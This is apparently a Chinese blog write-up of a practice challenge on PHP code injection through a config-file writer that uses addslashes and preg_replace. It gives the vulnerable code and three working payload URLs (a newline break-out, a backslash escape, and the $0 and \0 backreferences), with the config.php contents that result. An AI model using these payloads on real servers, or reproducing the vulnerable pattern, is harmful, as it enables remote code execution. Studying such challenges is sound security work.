PHP写入配置文件getshell

看到小密圈的一个关于配置文件写入的题目,做一下记录。


问题代码:

1.php的内容如下:

<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

config.php的内容如下:

<?php
$option='test';

preg_replace — 执行一个正则表达式的搜索和替换
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。


1)利用换行

首先请求:http://192.168.192.120/1.php?option=123%27;%0aphpinfo();//
然后查看下config.php的内容:

[root@server120 html]# cat config.php 
<?php
$option='123\';
phpinfo();//';

然后在请求:http://192.168.192.120/1.php?option=123
然后查看下config.php的内容:

[root@server120 html]# cat config.php 
<?php
$option='123';
phpinfo();//';

2)利用转义

传入参数\’,经过addslashes处理后,会变为\\\’,随后preg_replace会将两个连续的\合并为一个,也就是将\\\’转为\\’,这样我们就成功引入了一个单引号,闭合了前面的单引号。
请求:http://192.168.192.120/1.php?option=123\%27;phpinfo();//
然后查看下config.php的内容:

[root@server120 html]# cat config.php 
<?php
$option='123\\';phpinfo();//';

3)利用\0和$0

首先请求:http://192.168.192.120/1.php?option=;phpinfo();
然后查看下config.php的内容:

[root@server120 html]# cat config.php 
<?php
$option=';phpinfo();';

preg_replace的replacement中可以包含捕获组,\0或者$0表示完整的匹配。
然后访问:http://192.168.192.120/1.php?option=$0

[root@server120 html]# cat config.php 
<?php
$option='$option=';phpinfo();';';

或者访问http://192.168.192.120/1.php?option=%00
%00在经过addslashes处理后会变成\0